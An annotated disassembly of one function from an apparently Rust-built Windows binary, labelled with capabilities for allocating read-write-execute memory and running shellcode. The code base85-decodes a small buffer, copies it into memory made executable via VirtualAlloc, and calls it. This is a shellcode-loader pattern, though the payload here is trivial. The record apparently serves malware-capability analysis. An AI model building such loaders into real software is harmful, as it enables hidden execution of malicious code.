Function at 0x140001490
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x38]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h9374c84384d4fa68
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
mov byte [rdx + rax], 0x64
inc rax
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x40]
cmp rax, r8
jne 0x1400014fc
lea rcx, [rsp + 0x38]
mov rdx, rax
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h9374c84384d4fa68
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov byte [rdx + rax], 0x64
inc rax
mov qword [rsp + 0x48], rax
cmp rax, r8
jne 0x140001524
lea rcx, [rsp + 0x38]
mov rdx, r8
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h9374c84384d4fa68
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
mov byte [rdx + rax], 0x64
mov r8, qword [rsp + 0x48]
inc r8
mov qword [rsp + 0x48], r8
lea rcx, [rsp + 0x78]
call dbg.from_utf8_lossy
mov r14, qword [rsp + 0x78]
mov r15, qword [rsp + 0x80]
test r14, r14
mov rbx, r14
cmove rbx, r15
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x1400015b9
js 0x140001ae8
movzx eax, byte [0x140044160]
mov rcx, qword [0x1400440d8]
test rcx, rcx
jne 0x140001590
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x1400015a2
mov rcx, rax
mov qword [0x1400440d8], rax
xor edx, edx
mov r8, rsi
call fcn.140035514
mov r13, rax
test rax, rax
jne 0x1400015bf
mov rcx, rsi
not rcx
shr rcx, 0x3f
mov rdx, rsi
call dbg.handle_alloc_error
jmp 0x140001b90
mov r13d, 1
mov rcx, r13
mov rdx, rbx
mov r8, rsi
call sym.memcpy
cmp qword [rsp + 0x40], 0
je 0x1400015ed
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x1400440d8]
xor edx, edx
call fcn.14003550c
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x14000160e
cmp qword [rsp + 0x80], 0
je 0x14000160e
mov rcx, qword [0x1400440d8]
xor edx, edx
mov r8, r14
call fcn.14003550c
movabs rcx, 0xcccccccccccccccd
mov rax, rsi
mul rcx
mov rdi, rdx
mov rax, rdx
shr rax, 2
lea r14, [rax + rax*4]
mov rcx, rsi
sub rcx, r14
and rdi, 0xfffffffffffffffc
xor ebx, ebx
mov rax, rcx
sub rax, 1
cmovae rbx, rax
add rdi, rbx
mov qword [rsp + 0xb0], rcx
je 0x14000169d
movzx eax, byte [0x140044160]
mov rcx, qword [0x1400440d8]
test rcx, rcx
jne 0x140001677
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14000168b
mov rcx, rax
mov qword [0x1400440d8], rax
xor edx, edx
mov r8, rdi
call fcn.140035514
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x1400016a7
mov ecx, 1
mov rdx, rdi
call dbg.handle_alloc_error
jmp 0x140001b90
mov eax, 1
mov qword [rsp + 0x28], rax
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rdi
and rdi, 0xfffffffffffffffc
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], r14
cmp r14, 5
jb 0x1400017f1
mov rbx, qword [rsp + 0x70]
neg rbx
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
nop dword [rax]
test rbx, rbx
je 0x1400017f1
test rdi, rdi
je 0x1400017f1
movzx ecx, byte [r12]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx eax, ax
shr eax, 8
mov dword [rsp + 0x24], eax
cmp r15b, 2
jne 0x140001af6
movzx ecx, byte [r12 + 1]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx r13d, ax
shr r13d, 8
cmp r15b, 2
jne 0x140001a81
movzx ecx, byte [r12 + 2]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx r14d, ax
shr r14d, 8
cmp r15b, 2
jne 0x140001a76
movzx ecx, byte [r12 + 3]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx esi, ax
shr esi, 8
cmp r15b, 2
jne 0x140001a8c
movzx ecx, byte [r12 + 4]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx eax, ax
shr eax, 8
cmp r15b, 2
jne 0x140001a96
add rbp, 0xfffffffffffffffb
movzx ecx, word [rsp + 0x24]
imul ecx, ecx, 0x31c84b1
movzx edx, r13w
imul edx, edx, 0x55
movzx r8d, si
imul r8d, r8d, 0x55
add r8d, ecx
movzx eax, ax
add eax, r8d
movzx ecx, dx
movzx edx, r14w
add edx, ecx
imul ecx, edx, 0x1c39
add ecx, eax
bswap ecx
mov dword [rdi], ecx
add rbx, 4
add rdi, 4
add r12, 5
cmp rbp, 4
ja 0x1400016f0
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x14000181a
mov r13, qword [rsp + 0x68]
mov rax, qword [rsp + 0x60]
movzx ecx, byte [r13 + rax]
cmp r14, 1
jne 0x140001842
xor ebp, ebp
xor edi, edi
jmp 0x140001877
mov r14, qword [rsp + 0x50]
mov ebp, r14d
shr ebp, 8
cmp qword [rsp + 0x28], 0
mov r13, qword [rsp + 0x68]
jne 0x1400019a5
mov dword [rsp + 0x24], ebp
mov r15d, r14d
jmp 0x140001b15
movzx ebx, byte [r13 + rax + 1]
cmp r14, 3
jb 0x140001861
movzx edx, byte [r13 + rax + 2]
mov byte [rsp + 0x24], dl
jne 0x140001867
mov dil, 1
xor ebp, ebp
jmp 0x140001877
xor ebp, ebp
xor edi, edi
jmp 0x140001877
movzx eax, byte [r13 + rax + 3]
mov byte [rsp + 0x60], al
mov bpl, 1
mov dil, 1
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx esi, ax
shr esi, 8
cmp r15b, 2
jne 0x140001af2
cmp r14, 1
je 0x140001b92
mov ecx, ebx
call sym.base85::char85_to_byte::h364693fff428b969
movzx r15d, ax
mov ebx, r15d
shr ebx, 8
cmp r15b, 2
jne 0x140001ba2
mov r12w, 0x7e
mov r14w, 0x7e
test dil, dil
movzx ecx, byte [rsp + 0x24]
je 0x1400018e2
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx r14d, ax
shr r14d, 8
cmp r15b, 2
jne 0x140001a76
test bpl, bpl
je 0x140001906
movzx ecx, byte [rsp + 0x60]
call sym.base85::char85_to_byte::h364693fff428b969
mov r15d, eax
movzx r12d, ax
shr r12d, 8
cmp r15b, 2
jne 0x140001baf
mov r9, qword [rsp + 0xa8]
and r9d, 3
je 0x140001a3a
movzx eax, si
imul eax, eax, 0x31c84b1
movzx ecx, bx
imul ecx, ecx, 0x55
movzx edx, r12w
imul edx, edx, 0x55
movzx ecx, cx
movzx r8d, r14w
add r8d, ecx
imul ecx, r8d, 0x1c39
add ecx, eax
lea eax, [rdx + rcx]
add eax, 0x7e
mov ecx, eax
shr ecx, 0x18
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x70]
mov byte [rdx + r8], cl
test dil, dil
je 0x14000199a
cmp r9d, 2
jb 0x140001a45
mov ecx, eax
shr ecx, 0x10
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x70]
mov byte [rdx + r8 + 1], cl
test bpl, bpl
je 0x14000199a
cmp r9d, 3
jne 0x140001a53
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x70]
mov byte [rcx + rdx + 2], ah
mov r14, qword [rsp + 0x50]
mov ebp, r14d
shr ebp, 8
mov rdi, r14
and rdi, 0xffffffffffff0000
mov rsi, qword [rsp + 0x58]
xor ecx, ecx
mov rdx, r14
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rbx, rax
test rax, rax
je 0x140001aa0
mov rcx, rbx
mov rdx, qword [rsp + 0x28]
mov r8, r14
call sym.memcpy
call rbx
movzx eax, bpl
shl rax, 8
movzx ecx, r14b
or rcx, rax
or rcx, rdi
je 0x140001a0f
mov rcx, qword [0x1400440d8]
xor edx, edx
mov r8, qword [rsp + 0x28]
call fcn.14003550c
test rsi, rsi
je 0x140001a25
mov rcx, qword [0x1400440d8]
xor edx, edx
mov r8, r13
call fcn.14003550c
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_base85_2.0.0_src_lib.rs
xor ecx, ecx
jmp 0x140001a5f
lea r8, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_base85_2.0.0_src_lib.rs
mov ecx, 1
jmp 0x140001a5f
lea r8, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_base85_2.0.0_src_lib.rs
mov ecx, 2
mov rdx, rcx
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
call dbg.panic_bounds_check
jmp 0x140001b90
and r15b, 1
mov dword [rsp + 0x24], r14d
jmp 0x140001afa
and r15b, 1
mov dword [rsp + 0x24], r13d
jmp 0x140001afa
and r15b, 1
mov dword [rsp + 0x24], esi
jmp 0x140001afa
and r15b, 1
mov dword [rsp + 0x24], eax
jmp 0x140001afa
lea rax, str.Failed_to_allocate_memory
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_a28077b28a02b92985b3a3faecf92813155f1ea1library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x78]
call dbg.panic_fmt
jmp 0x140001b90
call dbg.capacity_overflow
jmp 0x140001b90
mov dword [rsp + 0x24], esi
and r15b, 1
cmp qword [rsp + 0x50], 0
je 0x140001b15
mov rcx, qword [0x1400440d8]
xor edx, edx
mov r8, qword [rsp + 0x28]
call fcn.14003550c
mov byte [rsp + 0x36], r15b
mov eax, dword [rsp + 0x24]
mov byte [rsp + 0x37], al
lea rax, [rsp + 0x36]
mov qword [rsp + 0x38], rax
lea rax, [sym.__base85::Error_as_core::fmt::Display_::fmt::h9e19e831fb528a05]
mov qword [rsp + 0x40], rax
lea rax, str.Base85:
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x78]
mov rsi, qword [rsp + 0x58]
mov r13, qword [rsp + 0x68]
call dbg.panic_fmt
ud2
xor r15d, r15d
mov dword [rsp + 0x24], 0
jmp 0x140001afa
and r15b, 1
mov dword [rsp + 0x24], ebx
jmp 0x140001afa
and r15b, 1
mov dword [rsp + 0x24], r12d
jmp 0x140001afa